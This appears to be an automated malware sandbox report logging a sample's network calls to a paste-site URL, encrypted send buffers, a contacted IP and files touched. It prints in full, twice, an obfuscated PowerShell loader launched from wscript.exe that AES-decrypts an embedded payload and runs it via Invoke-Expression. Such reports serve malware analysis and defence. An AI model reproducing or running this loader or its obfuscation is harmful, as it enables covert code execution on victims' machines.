http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: °m£6Ÿ@’?;¹úö=H`o³'ðn1`.ó£d16ð%èÌl„zøKDÁÏm„ˆÍ%?+1…¾O/ÙÊHŽ½Ñë)(š†dÊ^Ïâv™Ý>i¼;kå·ýg©Ø䐛€<ÞzrLãÕëäÊVØ„eCJZHéÏ}Œ©Fééú Z쪭v²€i‚sIx2#<£Æ+®¿ fziÑsŽ]h}Ѕëӝ6ïݯ ¢§òÞg}àÞ]1§¹[DçÚØhøÓ3¢é43¹˜dMWô ¬1ÏÆܙ|t—©Å'0£Ð>Â+Ú©šË¾C ˜žv‰;L`-+!?âl Ò9¨ÕˆåN廯÷úLÆíáï<Åõ¯ —g1æ­õÈ×­ bÌ_†p/AjƒÆ-§ìÍÐP•Æ€Åé¨î{¬íý䒛1r~ýióO)l §Ô«éÛdðì˜ñÂð˜…;)ëöè4¥¼Ïd‹†B´3¹° ,–KëÏÉ_nâÈ¥Á'’ß Íž9 M:¼¢¸W+'HoNYסÑË7"üDù]
socket: 1328
sent: 437
1 437 0

send

 buffer: !
socket: 1228
sent: 1
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: °žIr Fõ’ø+Ô ¦Zßi¦j0lé u‘­К½¹íËyÜ º²iÿ÷\ì :0¨‰ÕY¸P†ÛÕ{ þ̍[€)öy>ôxׇÖh̑v=½Ÿð1|U†ûA²†€E  ç#¿cmÀàÄÜC™×¬ êÇӝè —&VšIÒ¬¾ÜÚ)…WÅI÷ÂìÊl4C$½Z‹²›o‡’ ÍÜma0óZq)s£‚E““‡¸Ž¨ùî"’0Īó_³µâ¶p%œF¬:’çèçá1x8(j^Êl©Óô[õüˆ1_pE$Å)åï†LÛu T+/EDHWÆQɆ¹†«‹ý«aR²ÒcÓ6ôyb~¨ÄhYÜãbEµC™QŽlՁ• ¨‚0àØݘNLç ”¥¤Bè‹ouÕZ§¬,;9B)ôgUI†…O{’V•Ü³š{aß$j¦~eU@C6·§"6ë&-<¾ÿ–„œ/5òpf i•&ý„o"tH@ð•k©­™Ÿ<Hè´!ýþ>‚I18ÚûHµ—Hßá݊]Ä} [Î
socket: 1328
sent: 437
1 437 0

send

 buffer: !
socket: 1228
sent: 1
1 1 0
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI74328840722782576545825437205778CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIDFmt3MLNsK5aPpWbbIsBztpHuNrvMKi2jQU7fNLn0oMezIRYvIXeNHjkzcV0L3UZYqPgeEeMmKQG749m6fkiZBxoCMJZ51QJHUT+m0EixkU8s9qZ5cpt1AKID+ZFqc5VpkXFfLxCerM+fcw3/kGciLCo7LgS8a4BaZ48pjFi24pfdcuQwkClSibjgqYqSip9y5/dCAf6Nzz5QdAkde9PIMAQZt2oUDP7dM+N5eg9rXEnjwn0B2AWan/di8xNl5jllqI+bDLqPspcx8R2k37fOc1z9LI4HEbUAqTWIxNOW9Uzsaag6AHwENZIp1xGiyWFcUXdCTQMEJlfNcCdYWMwhQ8RdsHTWNZupvIsEHo9vGitwpM43p2UMy8PZdoCkoOiBohaKNZtbWS+t1FKRuAyozJz3z74u8Vq9GpIRAkOMw8Kce1yYCWbyqrbANO0I1sbG6lSeb394etA7LVCP7hnCd910mPNaByk1+GkhpZNKwJYERN9oxVzZ3zYiiaMZwUOoF547hGx+VxnktvtvwHpGFpj/nNK0aZRiXnJNQyLPmKiTH9ScDobO07O3QmUe3aUKuHE6/91ZF5RkyQDZgU3WV7dVPaYAApQkivkedaUvxlbEitTCnkzDfrKLvgbQym5DyAWxvPRhBT3lzI0GAFR9RPITKZ5R26nBhOhfd5An5QV6eF/Q9qnF0+3INT0tqVhhlfUi6O/pD0Cnw+o1GM92kSZ1OY51Ke+iJabzAenJU6aKyir+3zjfzS1NjosWlMcxOT2hGbn7Q2NS5O67xvgTYR6JNIQy2QOJ5IQ74EtDP9YC3iuyPh3b9ZxN7SbcmuV7PyW9uMV0jTdXQyOjbN+MB7Lr2GeM71Ug4wJ1FSPUzLChYRSFvdW61JiXWDA8fxVqqa55yq2wbjRGx8bbBGKECqW98HG4Tt8kzQyhom1+6KQjGm9fttMB6IBs/tqSiGidiRNHvVuwagWPJc27hAGyVLLYmDieAZSWpzJfYBprtbZqIM4F4/8ORw4hALpcN00nwkezpiCNsEU1DVU/xjCu/NROHLpmin8A/ao8gxb1PbnA/aJbvT4iU7LWDoIaRgO6m5wnG5eZf5Bnp3Bu4pvMAB8mgkwSAlTxHrIP79+Rl9lzLULYVHqNDbC7ukR1y9OFQKMLb2RUPx3XDyT8Da6AT9OFvAw8DLGT5R42eH3BmcweUr45fMCNAtjsYGeKAhGwasQKil9m5sWs3BmuR1JzMmTOxz+jiFF+yxy7buKzTOYO5vp2MrgqhXRZnS7osSb0yxELPfYkXpHhY1UZxV0bH8M9Cf0FGE3GnOR6qi0rlIU1lVj/cK367cmqZwIv0f3dzIBK1lhxQ2Lzo1tml4es+/vdjtLO1uRrYIGg/PiF0Z8kulZ38pXe6E1/MoMnArEygx0T4yYP/4ZHZaSfHoMfk09xITstL9nkUMi3iaGtKg=CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
parent_process wscript.exe martian_process powershell.exe -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI74328840722782576545825437205778CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIDFmt3MLNsK5aPpWbbIsBztpHuNrvMKi2jQU7fNLn0oMezIRYvIXeNHjkzcV0L3UZYqPgeEeMmKQG749m6fkiZBxoCMJZ51QJHUT+m0EixkU8s9qZ5cpt1AKID+ZFqc5VpkXFfLxCerM+fcw3/kGciLCo7LgS8a4BaZ48pjFi24pfdcuQwkClSibjgqYqSip9y5/dCAf6Nzz5QdAkde9PIMAQZt2oUDP7dM+N5eg9rXEnjwn0B2AWan/di8xNl5jllqI+bDLqPspcx8R2k37fOc1z9LI4HEbUAqTWIxNOW9Uzsaag6AHwENZIp1xGiyWFcUXdCTQMEJlfNcCdYWMwhQ8RdsHTWNZupvIsEHo9vGitwpM43p2UMy8PZdoCkoOiBohaKNZtbWS+t1FKRuAyozJz3z74u8Vq9GpIRAkOMw8Kce1yYCWbyqrbANO0I1sbG6lSeb394etA7LVCP7hnCd910mPNaByk1+GkhpZNKwJYERN9oxVzZ3zYiiaMZwUOoF547hGx+VxnktvtvwHpGFpj/nNK0aZRiXnJNQyLPmKiTH9ScDobO07O3QmUe3aUKuHE6/91ZF5RkyQDZgU3WV7dVPaYAApQkivkedaUvxlbEitTCnkzDfrKLvgbQym5DyAWxvPRhBT3lzI0GAFR9RPITKZ5R26nBhOhfd5An5QV6eF/Q9qnF0+3INT0tqVhhlfUi6O/pD0Cnw+o1GM92kSZ1OY51Ke+iJabzAenJU6aKyir+3zjfzS1NjosWlMcxOT2hGbn7Q2NS5O67xvgTYR6JNIQy2QOJ5IQ74EtDP9YC3iuyPh3b9ZxN7SbcmuV7PyW9uMV0jTdXQyOjbN+MB7Lr2GeM71Ug4wJ1FSPUzLChYRSFvdW61JiXWDA8fxVqqa55yq2wbjRGx8bbBGKECqW98HG4Tt8kzQyhom1+6KQjGm9fttMB6IBs/tqSiGidiRNHvVuwagWPJc27hAGyVLLYmDieAZSWpzJfYBprtbZqIM4F4/8ORw4hALpcN00nwkezpiCNsEU1DVU/xjCu/NROHLpmin8A/ao8gxb1PbnA/aJbvT4iU7LWDoIaRgO6m5wnG5eZf5Bnp3Bu4pvMAB8mgkwSAlTxHrIP79+Rl9lzLULYVHqNDbC7ukR1y9OFQKMLb2RUPx3XDyT8Da6AT9OFvAw8DLGT5R42eH3BmcweUr45fMCNAtjsYGeKAhGwasQKil9m5sWs3BmuR1JzMmTOxz+jiFF+yxy7buKzTOYO5vp2MrgqhXRZnS7osSb0yxELPfYkXpHhY1UZxV0bH8M9Cf0FGE3GnOR6qi0rlIU1lVj/cK367cmqZwIv0f3dzIBK1lhxQ2Lzo1tml4es+/vdjtLO1uRrYIGg/PiF0Z8kulZ38pXe6E1/MoMnArEygx0T4yYP/4ZHZaSfHoMfk09xITstL9nkUMi3iaGtKg=CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
dead_host 198.46.176.133:80
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe